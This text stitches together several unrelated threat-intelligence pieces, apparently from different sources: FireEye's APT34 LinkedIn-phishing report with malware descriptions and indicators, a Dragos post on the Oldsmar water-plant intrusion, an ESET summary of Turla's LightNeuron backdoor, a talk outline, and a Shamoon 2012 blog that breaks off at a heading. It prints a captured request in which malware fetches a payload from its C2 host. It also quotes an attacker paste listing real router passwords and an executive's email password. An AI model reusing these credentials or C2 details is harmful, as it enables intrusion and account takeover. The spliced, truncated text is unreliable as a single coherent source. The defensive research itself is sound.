- **SHA256**: 2411d1810ac1a146a366b109e4c55afe9ef2a297afd04d38bc71589ce8d9aee3
- **Compile Date (UTC)**: 2019-03-27 05:19:22
- **Architecture**: x86
- **Linker Version**: 10.0 |
# Hard Pass: Declining APT34’s Invite to Join Their Professional Network
**Threat Research**
Matt Bromiley, Noah Klapprodt, Nick Schroeder, Jessica Rocchio
Jul 18, 2019
10 mins read
## Background
With increasing geopolitical tensions in the Middle East, we expect Iran to significantly increase the volume and scope of its cyber espionage campaigns. Iran has a critical need for strategic intelligence and is likely to fill this gap by conducting espionage against decision makers and key organizations that may have information that furthers Iran's economic and national security goals. The identification of new malware and the creation of additional infrastructure to enable such campaigns highlights the increased tempo of these operations in support of Iranian interests.
## FireEye Identifies Phishing Campaign
In late June 2019, FireEye identified a phishing campaign conducted by APT34, an Iranian-nexus threat actor. Three key attributes caught our eye with this particular campaign:
1. Masquerading as a member of Cambridge University to gain victims’ trust to open malicious documents.
2. The usage of LinkedIn to deliver malicious documents.
3. The addition of three new malware families to APT34’s arsenal.
FireEye’s platform successfully thwarted this attempted intrusion, stopping a new malware variant dead in its tracks. Additionally, with the assistance of our FireEye Labs Advanced Reverse Engineering (FLARE), Intelligence, and Advanced Practices teams, we identified three new malware families and a reappearance of PICKPOCKET, malware exclusively observed in use by APT34. The new malware families show APT34 relying on their PowerShell development capabilities, as well as trying their hand at Golang.
APT34 is an Iran-nexus cluster of cyber espionage activity that has been active since at least 2014. They use a mix of public and non-public tools to collect strategic information that would benefit nation-state interests pertaining to geopolitical and economic needs. APT34 aligns with elements of activity reported as OilRig and Greenbug, by various security researchers. This threat group has conducted broad targeting across a variety of industries operating in the Middle East; however, we believe APT34's strongest interest is gaining access to financial, energy, and government entities.
Mandiant Managed Defense also initiated a Community Protection Event (CPE) titled “Geopolitical Spotlight: Iran.” This CPE was created to ensure our customers are updated with new discoveries, activity, and detection efforts related to this campaign, along with other recent activity from Iranian-nexus threat actors to include APT33.
## Industries Targeted
The activities observed by Managed Defense, and described in this post, were primarily targeting the following industries:
- Energy and Utilities
- Government
- Oil and Gas
## Utilizing Cambridge University to Establish Trust
On June 19, 2019, Mandiant Managed Defense Security Operations Center received an exploit detection alert on one of our FireEye Endpoint Security appliances. The offending application was identified as Microsoft Excel and was stopped immediately by FireEye Endpoint Security’s ExploitGuard engine. ExploitGuard is our behavioral monitoring, detection, and prevention capability that monitors application behavior, looking for various anomalies that threat actors use to subvert traditional detection mechanisms. Offending applications can subsequently be sandboxed or terminated, preventing an exploit from reaching its next programmed step.
The Managed Defense SOC analyzed the alert and identified a malicious file named System.doc (MD5: b338baa673ac007d7af54075ea69660b), located in C:\Users\<user_name>\.templates. The file System.doc is a Windows Portable Executable (PE), despite having a "doc" file extension. FireEye identified this new malware family as TONEDEAF.
A backdoor that communicates with a single command and control (C2) server using HTTP GET and POST requests, TONEDEAF supports collecting system information, uploading and downloading of files, and arbitrary shell command execution. When executed, this variant of TONEDEAF wrote encrypted data to two temporary files – temp.txt and temp2.txt – within the same directory of its execution. We explore additional technical details of TONEDEAF in the malware appendix of this post.
Retracing the steps preceding exploit detection, FireEye identified that System.doc was dropped by a file named ERFT-Details.xls. Combining endpoint- and network-visibility, we were able to correlate that ERFT-Details.xls originated from the URL http://www.cam-research-ac[.]com/Documents/ERFT-Details.xls. Network evidence also showed the access of a LinkedIn message directly preceding the spreadsheet download.
Managed Defense reached out to the impacted customer’s security team, who confirmed the file was received via a LinkedIn message. The targeted employee conversed with "Rebecca Watts", allegedly employed as "Research Staff at University of Cambridge". The conversation with Ms. Watts began with the solicitation of resumes for potential job opportunities.
This is not the first time we’ve seen APT34 utilize academia and/or job offer conversations in their various campaigns. These conversations often take place on social media platforms, which can be an effective delivery mechanism if a targeted organization is focusing heavily on e-mail defenses to prevent intrusions.
FireEye examined the original file ERFT-Details.xls, which was observed with at least two unique MD5 file hashes:
- 96feed478c347d4b95a8224de26a1b2c
- caf418cbf6a9c4e93e79d4714d5d3b87
A snippet of the VBA code creates System.doc in the target directory from base64-encoded text upon opening. The spreadsheet also creates a scheduled task named "windows update check" that runs the file C:\Users\<user_name>\.templates\System Manager.exe every minute. Upon closing the spreadsheet, a final VBA function will rename System.doc to System Manager.exe.
Upon first execution of TONEDEAF, FireEye identified a callback to the C2 server offlineearthquake[.]com over port 80.
## The FireEye Footprint: Pivots and Victim Identification
After identifying the usage of offlineearthquake[.]com as a potential C2 domain, FireEye’s Intelligence and Advanced Practices teams performed a wider search across our global visibility. FireEye’s Advanced Practices and Intelligence teams were able to identify additional artifacts and activity from the APT34 actors at other victim organizations. Of note, FireEye discovered two additional new malware families hosted at this domain, VALUEVAULT and LONGWATCH. We also identified a variant of PICKPOCKET, a browser credential-theft tool FireEye has been tracking since May 2018, hosted on the C2.
Requests to the domain offlineearthquake[.]com could take multiple forms, depending on the malware’s stage of installation and purpose. Additionally, during installation, the malware retrieves the system and current user names, which are used to create a three-character “sys_id”. This value is used in subsequent requests, likely to track infected target activity. URLs were observed with the following structures:
- hxxp[://]offlineearthquake[.]com/download?id=<sys_id>&n=000
- hxxp[://]offlineearthquake[.]com/upload?id=<sys_id>&n=000
- hxxp[://]offlineearthquake[.]com/file/<sys_id>/<executable>?id=<cmd_id>&h=000
- hxxp[://]offlineearthquake[.]com/file/<sys_id>/<executable>?id=<cmd_id>&n=000
The first executable identified by FireEye on the C2 was WinNTProgram.exe (MD5: 021a0f57fe09116a43c27e5133a57a0a), identified by FireEye as LONGWATCH. LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Windows temp folder. Further information regarding LONGWATCH is detailed in the Malware Appendix section at the end of the post.
FireEye Network Security appliances also detected the following being retrieved from APT34 infrastructure:
```
GET hxxp://offlineearthquake.com/file/<sys_id>/b.exe?id=<3char_redacted>&n=000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) AppleWebKit/537.36 (KHTML, like Gecko)
Host: offlineearthquake[.]com
Proxy-Connection: Keep-Alive
Pragma: no-cache
HTTP/1.1
```
FireEye identifies b.exe (MD5: 9fff498b78d9498b33e08b892148135f) as VALUEVAULT. VALUEVAULT is a Golang compiled version of the "Windows Vault Password Dumper" browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel. VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault. Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites.
Further pivoting from FireEye appliances and internal data sources yielded two additional files, PE86.dll (MD5: d8abe843db508048b4d4db748f92a103) and PE64.dll (MD5: 6eca9c2b7cf12c247032aae28419319e). These files were analyzed and determined to be 64- and 32-bit variants of the malware PICKPOCKET, respectively.
## Conclusion
The activity described in this blog post presented a well-known Iranian threat actor utilizing their tried-and-true techniques to breach targeted organizations. Luckily, with FireEye’s platform in place, our Managed Defense customers were not impacted. Furthermore, upon the blocking of this activity, FireEye was able to expand upon the observed indicators to identify a broader campaign, as well as the use of new and old malware.
We suspect this will not be the last time APT34 brings new tools to the table. Threat actors are often reshaping their TTPs to evade detection mechanisms, especially if the target is highly desired. For these reasons, we recommend organizations remain vigilant in their defenses and remember to view their environment holistically when it comes to information security.
## Malware Appendix
### TONEDEAF
TONEDEAF is a backdoor that communicates with Command and Control servers using HTTP or DNS. Supported commands include system information collection, file upload, file download, and arbitrary shell command execution. Although this backdoor was coded to be able to communicate with DNS requests to the hard-coded Command and Control server, it was not configured to use this functionality.
### VALUEVAULT
VALUEVAULT is a Golang compiled version of the “Windows Vault Password Dumper” browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel. VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault. Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites.
Upon execution, VALUEVAULT creates a SQLITE database file in the AppData\Roaming directory under the context of the user account it was executed by. This file is named fsociety.dat and VALUEVAULT will write the dumped passwords to this in SQL format. This functionality is not in the original version of the “Windows Vault Password Dumper”.
### LONGWATCH
FireEye identified the binary WinNTProgram.exe (MD5: 021a0f57fe09116a43c27e5133a57a0a) hosted on the malicious domain offlineearthquake[.]com. FireEye identifies this malware as LONGWATCH. The primary function of LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Windows temp folder.
## Detecting the Techniques
FireEye detects this activity across our platforms, including named detection for TONEDEAF, VALUEVAULT, and LONGWATCH.
| Signature Name |
|----------------|
| FE_APT_Keylogger_Win_LONGWATCH_1 |
| FE_APT_Keylogger_Win_LONGWATCH_2 |
| FE_APT_Keylogger_Win32_LONGWATCH_1 |
| FE_APT_HackTool_Win_PICKPOCKET_1 |
| FE_APT_Trojan_Win32_VALUEVAULT_1 |
| FE_APT_Backdoor_Win32_TONEDEAF |
| TONEDEAF BACKDOOR [DNS] |
| TONEDEAF BACKDOOR [upload] |
| TONEDEAF BACKDOOR [URI] |
## Endpoint Indicators
| Indicator | MD5 Hash (if applicable) | Code Family |
|---------------------------|-------------------------------------------|-------------|
| System.doc | b338baa673ac007d7af54075ea69660b | TONEDEAF |
| | 50fb09d53c856dcd0782e1470eaeae35 | TONEDEAF |
| ERFT-Details.xls | 96feed478c347d4b95a8224de26a1b2c | TONEDEAF |
| | caf418cbf6a9c4e93e79d4714d5d3b87 | TONEDEAF |
| b.exe | 9fff498b78d9498b33e08b892148135f | VALUEVAULT |
| WindowsNTProgram.exe | 021a0f57fe09116a43c27e5133a57a0a | LONGWATCH |
| PE86.dll | d8abe843db508048b4d4db748f92a103 | PICKPOCKET |
| PE64.dll | 6eca9c2b7cf12c247032aae28419319e | PICKPOCKET |
## Network Indicators
- hxxp[://]www[.]cam-research-ac[.]com
- offlineearthquake[.]com
- c[.]cdn-edge-akamai[.]com
- 185[.]15[.]247[.]154
## Acknowledgements
A huge thanks to Delyan Vasilev and Alex Lanstein for their efforts in detecting, analyzing, and classifying this APT34 campaign. Thanks to Matt Williams, Carlos Garcia, and Matt Haigh from the FLARE team for the in-depth malware analysis. |
# Recommendations Following the Oldsmar Water Treatment Facility Cyber Attack
February 9, 2021
By Gus Serino, Ben Miller
Today a press conference was held by the City of Oldsmar where they disclosed the unlawful intrusion of the City of Oldsmar’s water treatment system. The City of Oldsmar should be commended on their transparent briefing and level of detail. The case is evolving and details are ongoing but this blog is intended to share what’s known currently with some defensive recommendations.
## Details of What Happened
It has been publicly acknowledged that an operator machine had a remote access software package—TeamViewer—installed and accessible to the Internet. This led to manipulation of control set points for the dosing rate of Sodium Hydroxide (NaOH) into the water. NaOH is a chemical often used in drinking water treatment to adjust pH and alkalinity. Although an important component of the drinking water treatment process, NaOH can be a hazardous chemical to water consumers if concentrations exist in excess of safe operating parameters.
Typically, water systems are engineered with many safeguards to keep parameters within acceptable limits, not the least of which is trained and licensed drinking water treatment operators. In this incident, the adversary raised the NaOH dose setpoint from its normal setting of 100 parts-per-million (ppm) to 11,100 ppm, thereby temporarily increasing the amount of chemical being added to the water. It was reported that the water treatment operator on duty observed the mouse moving on the operating screen, making changes, and then exiting the system. The operator identified the incident and restored the normal operating parameters fast enough so that pH monitoring alarms did not detect a level beyond acceptable parameters.
Had the operator not observed the attacker actively manipulating the screen, it is possible that several other mechanisms in the water treatment plant control and monitoring system would have alerted plant staff to the condition. However, it is also entirely possible that this action could have resulted in people getting sick or potentially even death. The control systems in modern water treatment plants use process instrumentation that continuously monitor water quality parameters (e.g., pH) to carefully control the addition of chemicals and provide real-time alerts when those parameters go outside acceptable limits; these critical parameters are typically monitored at multiple points throughout the treatment process and in the transmission and distribution systems.
However, even these safeguards are not adversary proof. As with all critical industrial processes, Dragos recommends that organizations proactively monitor for several key events within their control systems including changes to setpoints of critical process parameters, changes to control logic, and disabling capabilities for remote edits to process control logic by default. Additionally, organizations should consider utilizing distinct safety systems, isolated from the control network, to prevent incidents that could result in harm to personnel or the populations dependent on their service.
## What is TeamViewer?
TeamViewer is a legitimate software package that is directly installed on a Windows host that allows for easy connectivity from anywhere. Its ease of use has allowed it to increasingly be used in industrial environments and, while legitimate software, may be unauthorized or rogue software.
Remote access to industrial facilities can be architected safely. But the best architecture can also be circumvented with unapproved software such as TeamViewer. This is where visibility into what software, vulnerabilities, and behaviors are necessary in your industrial environments.
If you don’t have OT visibility software (such as the Dragos Platform), you can manually assess if TeamViewer is in your environment. TeamViewer, by default, uses both TCP/5938 and UDP/5938 ports to establish connections with TeamViewer. If those are blocked by a firewall or other perimeter system, TeamViewer falls back to TCP/443 and then TCP/80 (commonly used for HTTPS and HTTP traffic). These connections are managed by TeamViewer’s cloud environment and will resolve hosts going to *.teamviewer.com.
## Recommendations
- Manually identify software installed on hosts, particularly those critical to the industrial environment such as operator workstations—such as TeamViewer or VNC. Accessing this on a host-by-host basis may not be practical but it is comprehensive.
- Beyond host data, there are a variety of network traffic sources to help identify TeamViewer. Most environments are not configured where centralized logging is occurring and can be a manual process. We recommend:
- Use DNS logging to identify outbound DNS resolution to *.teamviewer.com.
- Encrypted communications to teamviewer.com will have an X509 certificate for *.teamviewer.com.
- Use perimeter logging or other network logging to identify external communications via TCP/5938 and UDP/5938.
- Talk to the operations staff or IT staff at the site to determine if other remote software tools such as virtual private networks are used. If so, perform searches for those tools and where possible utilize multi-factor authentication on remote connections.
- From a prevention perspective, blocking these communications, and all egress communications that are not explicitly approved, will prevent remote access solutions like TeamViewer. However, ensure that you talk with plant personnel before doing this and after blocking any connections be available to reverse the changes if something was necessary that they did not know about.
## Architecting Secure Remote Access for OT/ICS
In March of 2020, in recognition of the early days of the global pandemic, we released a blog focusing on secure remote access titled "A Matter of Trust: Remote Access for ICS." All of the recommendations in that post still apply today and are relevant:
- Engineering and OT teams should evaluate what systems can leverage remote access.
- Remote access requirements should be determined, including what IP addresses, what communication types, and what processes can be monitored. All others should be disabled by default. Remote access including process control should be limited as much as possible.
- User-initiated access should require multi-factor authentication from the Internet to a DMZ with a dedicated jump host for ICS-specific communications. This system should leverage its own identity and access management system.
- From the DMZ, after authentication, user-initiated remote access should follow a trusted path to the industrial control system—where the user will authenticate again, this time using the local identity and access management solution for the industrial control system.
- All remote access communications should be logged and monitored. Various detection techniques could be implemented on remote access systems, like looking for brute force attempts or specific exploits for known vulnerabilities—but only if logging and monitoring is used. |
# ESET Research White Papers
## One Email Away from Remote Code Execution
### 1. Executive Summary
Turla, also known as Snake, is one of the oldest, still-active cyberespionage groups, with more than a decade of experience. Its operators mainly focus on high-profile targets such as governments and diplomatic entities in Europe, Central Asia, and the Middle East. They are known for having breached major organizations such as the US Department of Defense in 2008 and the Swiss defense company RUAG in 2014. More recently, several European countries, including France and the Czech Republic, went public to denounce Turla’s attacks against their governments.
To perform these operations, Turla’s operators own a large arsenal of malware, including a rootkit, several complex backdoors (notably one for Microsoft Outlook), and a large range of tools to pivot on a network.
In this white paper, we present the analysis of LightNeuron, a backdoor specifically designed to target Microsoft Exchange mail servers.
Key points in this white paper:
- Turla is believed to have used LightNeuron since at least 2014.
- LightNeuron is the first publicly known malware to use a malicious Microsoft Exchange Transport Agent.
- LightNeuron can spy on all emails going through the compromised mail server.
- LightNeuron can modify or block any email going through the compromised mail server.
- LightNeuron can execute commands sent by email.
- Commands are hidden in specially crafted PDF or JPG attachments using steganography.
- LightNeuron is hard to detect at the network level because it does not use standard HTTP(S) communications.
- LightNeuron was used in recent attacks against diplomatic organizations in Eastern Europe and the Middle East.
### 2. Attacker Profile
Turla, also known as Snake, is an infamous espionage group active for at least a decade. The group is well known for its advanced custom tools and its ability to run highly targeted operations.
#### 2.1 Publicized High-Profile Attacks
Over the past ten years, Turla has been responsible for numerous high-profile breaches. The targets include the United States Central Command in 2008, the Swiss military company RUAG in 2014, and more recently, the French Armed Forces in 2018.
#### 2.2 Victimology
Turla is far from being opportunistic in the selection of its targets. The group is interested in collecting information from strategic people or organizations. Turla has never conducted cybersabotage operations, such as those made by GreyEnergy or TeleBots.
Identified at-risk types of organizations:
- Ministries of Foreign Affairs and diplomatic representations (embassies, consulates, etc.)
- Military organizations
- Regional political organizations
- Defense contractors
Most parts of the world are targeted by Turla’s operations, with the exception of Eastern Asia. Geographical areas of conflict, such as Eastern Europe and the Middle East, are under heavy attacks from this APT group.
#### 2.3 Tools and Tactics
Turla’s operators typically use basic first-stage malware for initial reconnaissance. They often rely on spearphishing emails, watering hole attacks, or Man-in-the-Middle attacks. After the initial compromise, they move laterally on the network and collect many credentials. They developed tools such as DarkNeuron and RPCBackdoor to forward commands and exfiltrate data on the local network.
### 3. Overview
LightNeuron is a piece of malware specifically designed to target Microsoft Exchange servers. It has two facets: spying on emails and acting as a full-feature backdoor.
#### 3.1 Impact
LightNeuron is uncommonly stealthy for “regular” malware. Leveraging a Microsoft Exchange Transport Agent for persistence is unique and never before seen. Once compromised, it is likely to stay undetected for months or years.
The Command and Control protocol is fully based on emails and uses steganography to store data in PDF and JPG attachments. This allows the malware to bypass email security solutions easily.
#### 3.2 Chronology
LightNeuron development likely started before 2014, as versions compiled in 2014 appear to be in a late development state. Even if the development occurred several years ago, LightNeuron is still used in recent compromises.
#### 3.3 Targeting
These targets align with traditional Turla targets. The Eastern European and Middle East targets are diplomatic organizations.
#### 3.4 Attribution to Turla
We believe with high confidence that Turla operates LightNeuron. Collected artefacts during our investigation support this attribution.
#### 3.5 Insight into Attackers Activity
While analyzing a compromised asset, we were able to map the working hours of the operators. The activity matches a typical 9-to-5 workday in the UTC+3 time zone. No activity was observed between December 28, 2018, and January 14, 2019, corresponding to holidays around the Orthodox Christmas.
### 4. Malware
Two main components comprise LightNeuron: a Transport Agent and a companion 64-bit Dynamic Link Library (DLL) containing most of the malicious code.
#### 4.1 Microsoft Exchange Architecture
Microsoft Exchange allows extending its functionalities using Transport Agents that can process and modify all email messages going through the mail server.
#### 4.2 Malicious Transport Agent
This component is responsible for communicating with Microsoft Exchange and the main malicious DLL. It is a 32-bit Windows DLL developed in .NET.
#### 4.3 Companion Dynamic Link Library
This second component implements most of the malicious functions needed by the Transport Agent. It is a 64-bit Windows DLL developed in C.
#### 4.4 Evolution
There has been an effort to obfuscate function names in the .NET Transport Agent. Some Indicators of Compromise differ across samples.
#### 4.5 Linux Variant
Some decrypted strings contain references that make sense only in a Unix environment, suggesting LightNeuron may exist for Linux.
### 5. Remediation
Cleaning LightNeuron is not easy. Simply removing the two malicious files will break Microsoft Exchange. The malicious Transport Agent should be disabled before removal.
### 6. Conclusion
LightNeuron is a powerful piece of malware. It can spy on all the emails of the compromised organization and execute commands, making it a main hub in the breached network for Turla operators.
### 7. Bibliography
1. B. Knowlton, “Military Computer Attack Confirmed,” New York Times, 25 08 2010.
2. MELANI, “Technical Report about the Malware used in the Cyberespionage against RUAG,” 23 05 2016.
3. M. Untersinger, “Quelle est la bonne équation pour pacifier le cyberespace ?,” Le Monde, 29 01 2019.
4. A. Cherepanov, “GREYENERGY: A successor to BlackEnergy,” ESET, 2018.
5. A. Cherepanov, “TeleBots are back: Supply-chain attacks against Ukraine,” ESET, 30 06 2017.
6. ESET Research, “Turla Mosquito: A shift towards more generic tools,” 22 05 2018.
7. Kaspersky GReAT, “Shedding Skin - Turla’s Fresh Faces,” 04 10 2018.
8. ESET Research, “Carbon Paper: Peering into Turla’s second stage backdoor,” ESET, 30 03 2017.
9. ESET Research, “Gazing at Gazer - Turla’s new second stage backdoor,” ESET, 08 2017.
10. D. Huss, “Turla APT actor refreshes KopiLuwak JavaScript backdoor for use in G20-themed attack,” 17 08 2017.
11. J.-I. Boutin, “Turla’s watering hole campaign: An updated Firefox extension abusing Instagram,” 06 06 2017.
12. ESET Research, “Diplomats in Eastern Europe bitten by a Turla mosquito,” ESET, 01 2018.
13. National Cyber Security Centre, “Turla group using Neuron and Nautilus tools alongside Snake malware,” 23 11 2017.
14. S. Tanase, “Satellite Turla: APT Command and Control in the Sky,” 09 09 2015.
15. GDATA, “Uroburos – Deeper travel into kernel protection mitigation,” 07 03 2014.
16. ESET, “Turla Outlook Backdoor,” 08 2018.
17. GReAT, “APT Trends Report Q2 2018,” Kaspersky Labs, 10 06 2018.
18. Microsoft, “Transport agents,” 01 06 2016.
19. Mozilla, “What is the winmail.dat attachment?,” [Online].
20. Microsoft, “The Z3 Theorem Prover,” [Online].
21. D. Strome, “Configure the Pickup directory and the Replay directory,” 12 08 2016.
22. D. Strome, “Pickup directory and Replay directory,” 08 12 2016.
### 8. IoCs
#### 8.1 Hashes
- SHA1 hash: 3C851E239FBF67A03E0DAE8F63EEE702B330DB6C
- Filename: Microsoft.Exchange.Security.Interop.dll
- Component: Transport Agent
- Compilation date: 26/10/2016
- ESET Detection Name: MSIL/Turla.A
- SHA1 hash: 76EE1802A6C920CBEB3A1053A4EC03C71B7E46F8
- Filename: exrwdb.dll
- Component: Companion DLL
- Compilation date: 02/09/2016
- ESET Detection Name: Win64/Turla.CC
- SHA1 hash: FF28B53B55BC77A5B4626F9DB856E67AC598C787
- Filename: Microsoft.Exchange.MessagingPolicies.Search.dll
- Component: Transport Agent
- Compilation date: 16/08/2015
- ESET Detection Name: MSIL/Turla.A
- SHA1 hash: C1FF6804FDB8656AB08928D187837D28060A552F
- Filename: BPA.Transport.dll
- Component: Companion DLL
- Compilation date: 25/07/2014
- ESET Detection Name: Win64/Turla.CC
- SHA1 hash: F9D52BB5A30B42FC2D1763BE586CEE8A57424732
- Filename: Microsoft.Exchange.MessagingPolicies.Search.exe
- Component: Transport Agent
- Compilation date: 20/06/2014
- ESET Detection Name: MSIL/Turla.A
- SHA1 hash: 0A9F10925AF42DF94925D07112F303D57392C908
- Filename: BPA.Transport.dll
- Component: Companion DLL
- Compilation date: 01/07/2016
- ESET Detection Name: Win64/Turla.CC
- SHA1 hash: A4D1A34FE5EFFD90CCB6897679586DDC07FBC5CD
- Filename: /
- Component: Transport Agent
- Compilation date: 20/06/2014
- ESET Detection Name: MSIL/Turla.A |
# BlueHat v17 || 10 Years of Targeted Credential Phishing
## Billy Leonard
While it's not kernel 0days or EMET bypasses, credential phishing has been a go-to in attackers' toolboxes for many years, rising to prominence during the run-up to the 2016 US Presidential Elections. Being able to access a target's email or files stored in the cloud without burning your prized 0day has proven to be too much for even the most advanced attackers to pass up. In this talk, we will look at how attackers have evolved and adapted their credential phishing operations over the past 10 years, from changes in delivery mechanisms to changes in persistence and exfiltration and how defenses have evolved during that same time.
## Threat Analysis Group
1. What we don't see in targeted phishing.
2. Targeted attacks are all really advanced.
3. The Early Days.
4. The Middle Ages.
5. Password Alert.
6. Two Factor Bypass.
7. SMS Interception.
8. Security Keys.
9. OAuth.
10. Present Day.
11. Who else do we see targeted?
12. More Recently.
13. Next Gen Password Alert.
14. Advanced Protection Program.
15. Old habits die hard.
16. Lot's of thanks ... Counter Abuse Technologies, Jigsaw, SafeBrowsing, Chrome, MSTIC, Yahoo/Apple/FB, Intel Teams, OGs … and a whole cast of characters that are Kind of a Big Deal.
## Questions? |
# Shamoon 2012 Complete Analysis
The whole inspiration of this blog began when I saw the above picture. For those that don't know, this was ASCII art embedded within a .NET dropper that supposedly dropped a version of Shamoon back in December of 2018. This immediately peaked my interest and I began my reversing of the sample. Initially I was looking for resources around this specific sample but quickly found that Shamoon has a rich history and has been utilized in some very interesting campaigns. So I decided I would start at its beginning and work my way through its history. At this point I have almost 40 samples for the various campaigns and have reverse engineered all of them to various degrees. These samples were relatively unorganized and I needed a way to fix that. I wrote a tool that could categorize the samples based on various traits. The samples broke down into a couple of groups and after looking into a sample from each group, I identified the following campaigns:
- Shamoon 2012
- Shamoon 2016
- Shamoon 2017
- Shamoon 2018 v1
- Shamoon 2018 v2
- Shamoon 2018 v3
I will try to make a post describing the capabilities of a sample in each campaign if time permits. So without further ado, let's get into Shamoon 2012.
## Research Process
For this series, I decided to focus on the following goals:
1. Educate users on the timeline and history of Shamoon
2. Share IOCs and detection mechanisms
3. Release tools that can be used to help researchers analyze samples in the future
With these goals I decided the best plan of attack was to gather as many Shamoon samples that I could find, read all the blog posts/reports that I could find and listen to podcasts about the campaigns. I got my samples from various sources such as Hybrid Analysis, VirusTotal, Malware.one, VirusShare, TheZoo, and other malware researchers in the field.
With a decent set I was keen on figuring out a way to programmatically sort the samples into their campaigns. After analyzing the samples I realized each sample over the years had resources that could be used to determine the campaign it originated from. This led to the creation of a script that would group the samples based on the resources that were contained in each sample.
### Shamoon 2012 Overview
The first known target for the Shamoon malware was the oil company Saudi Aramco. For those that don't know, Saudi Aramco is the largest petroleum and natural gas company in the world and a lot of Saudi Arabia's economy is centered around this single company. While they are a privately held company, it is estimated that the company is worth between 1-3 trillion dollars. Considering their worth and their ties with the Saudi government, they are a prime target for cyber attacks, especially those that might not have the best relations with Saudi Arabia.
Ideas of how Shamoon ended up on the Saudi Aramco's systems is unclear currently. Some reports say it was via the Acunetix vulnerability scanner, a phishing email or simply even a malicious USB that an employee had inserted into their machine. Speculation is that the threat actor got into the network sometime around April or May of 2012 and spent the next couple of months moving laterally and trying to gain access to a Domain Controller.
All this effort led up to the events of August 15th 11:08 AM when over 80% of Saudi Aramco's workstations and servers had their drives wiped due to a hard coded detonation date in the Shamoon malware. It's important to note that this date is not random; some might know that for 2012 the night before was a holiday known as the Night of Power or Lailat al-Qadr. It is regarded as one of Islam's holiest nights of the year. Much of the Islam community shuts down to celebrate the revelation of the Quran. As tradition for Saudi Aramco and most of the country, 50,000 employees stayed home on the 15th to celebrate the holiday and spend time with their families. This of course left the company itself and the workstations in Saudi Arabia at its most vulnerable.
In addition to having the users' drives wiped, the workstations were left with the first 1024 bytes of an image of a burning American flag. Although most users weren't even able to view this picture as their master boot records had been corrupted in the process. This could be taken as a political statement or a misdirection.
Nearly 11 hours after the detonation timestamp of Shamoon, a post was shared on popular paste site pastebin.com, which stated the following:
> We, on behalf of an anti-oppression hacker group that have been fed up of crimes and atrocities taking place in various countries around the world, especially in the neighboring countries such as Syria, Bahrain, Yemen, Lebanon, Egypt and ..., and also of dual approach of the world community to these nations, want to hit the main supporters of these disasters by this action.
>
> One of the main supporters of these disasters is Al-Saud corrupt regime that sponsors such oppressive measures by using Muslims' oil resources. Al-Saud is a partner in committing these crimes. Its hands are infected with the blood of innocent children and people. In the first step, an action was performed against Aramco company, as the largest financial source for Al-Saud regime. In this step, we penetrated a system of Aramco company by using the hacked systems in several countries and then sent a malicious virus to destroy thirty thousand computers networked in this company. The destruction operations began on Wednesday, Aug 15, 2012 at 11:08 AM (Local time in Saudi Arabia) and will be completed within a few hours.
>
> This is a warning to the tyrants of this country and other countries that support such criminal disasters with injustice and oppression. We invite all anti-tyranny hacker groups all over the world to join this movement. We want them to support this movement by designing and performing such operations, if they are against tyranny and oppression.
>
> Cutting Sword of Justice
This post needs to be taken with a grain of salt, as there is no definitive way to tell if this is from the actor. Now they did have the exact detonation date which to me, is a clear sign that this is from the actual actor/s behind this attack. Now if we are to assume that this post is legit there are a couple things we can infer: This TA needs public visibility, they have ties to countries surrounding Saudi Arabia or are at least empathetic towards them, their major target is Al Saud which is the royal family in Saudi Arabia. Notably, this is also the first mention of the Cutting Sword of Justice.
Normally when we see attacks that are targeted like this, the goal tends to be data exfiltration and maintaining a low profile to reduce the risk of detection but this attack was the complete opposite. Clearly the intent was not to steal information, as even stranger is the impact that something like ransomware or intellectual property theft could've been, due to the amount of raw resources the company has. This all points to the idea that this attack was meant to damage perceptions in the public's eye as well as weaken the resulting country.
Of course all of this would cause Saudi Arabia to make determinations as to who was behind such an attack, which they promptly implicated Iran. The Saudi government issued an official statement blaming Iran for this attack. That decision could've solely been made due to their relations with Iran or for the fact that the PDB string of Shamoon contains the following: ArabianGulf, which is a highly contested zone which Iran has always claimed that it is part of their country and should be properly named the Persian Gulf. Although this could also be an attempt at misdirection shifting blame towards Iran as APT groups tend to do.
In addition to making this accusation, Saudi Aramco made two major actions directly after the attack:
1. Fly employees to computer hardware factories and purchase as many hard drives as possible (50,000 at one time)
2. Lie about the attack, saying that operations had returned to normal when in fact they hadn't
Saudi Aramco made the decision to call for external help as they didn't have the capability to handle an attack of this grandeur. Now Saudi Arabia didn't really have too many options for who they could call as they refuse to use any devices or personnel that originate from Israel, so they decided to call on Chris Kubecka and contract her to create a team to analyze the samples as well as set up a legitimate security program.
It turns out there wasn't much identifying information in the sample and due to Pastebin's operations, there was no way to track the paste back to a user let alone a country. So quickly things became pretty quiet as Saudi Aramco wasn't exactly making public statements nor was there new evidence about the group. This didn't sit well with The Cutting Sword of Justice and they followed up with a second post on Pastebin on August 29th 2012 at 1:37 CDT.
> mon 29th aug, good day, SHN/AMOO/lib/pr/~/reversed
> We think it's funny and weird that there are no news coming out from Saudi Aramco regarding Saturday's night. well, we expect that but just to make it more clear and prove that we're done with we promised, just read the following facts -valuable ones- about the company's systems:
>
> internet service routers are three and their info as follows:
>
> Core router: SA-AR-CO-1# password (telnet): c1sc0p@ss-ar-cr-tl / (enable): c1sc0p@ss-ar-cr-bl
> Backup router: SA-AR-CO-3# password (telnet): c1sc0p@ss-ar-bk-tl / (enable): c1sc0p@ss-ar-bk-bl
> Middle router: SA-AR-CO-2# password (telnet): c1sc0p@ss-ar-st-tl / (enable): c1sc0p@ss-ar-st-bl
> Khalid A. Al-Falih, CEO, email info as follows:
> Khalid.falih@aramco.com password:kal@ram@sa1960
> security appliances used:
> Cisco ASA # McAfee # FireEye : default passwords for all!!!!!!!!!!
>
> We think and truly believe that our mission is done and we need no more time to waste. I guess it's time for SA to yell and release something to the public. however, silence is no solution.
>
> I hope you enjoyed that. and wait our final paste regarding SHN/AMOO/lib/pr/~
> angry internet lovers
> #SH
They decided to dump router credentials, internal security knowledge and username and password for the CEO Khalid Al-Falih (now Minister of Energy of Saudi Arabia and Chairman for Saudi Aramco).
## Technical Analysis
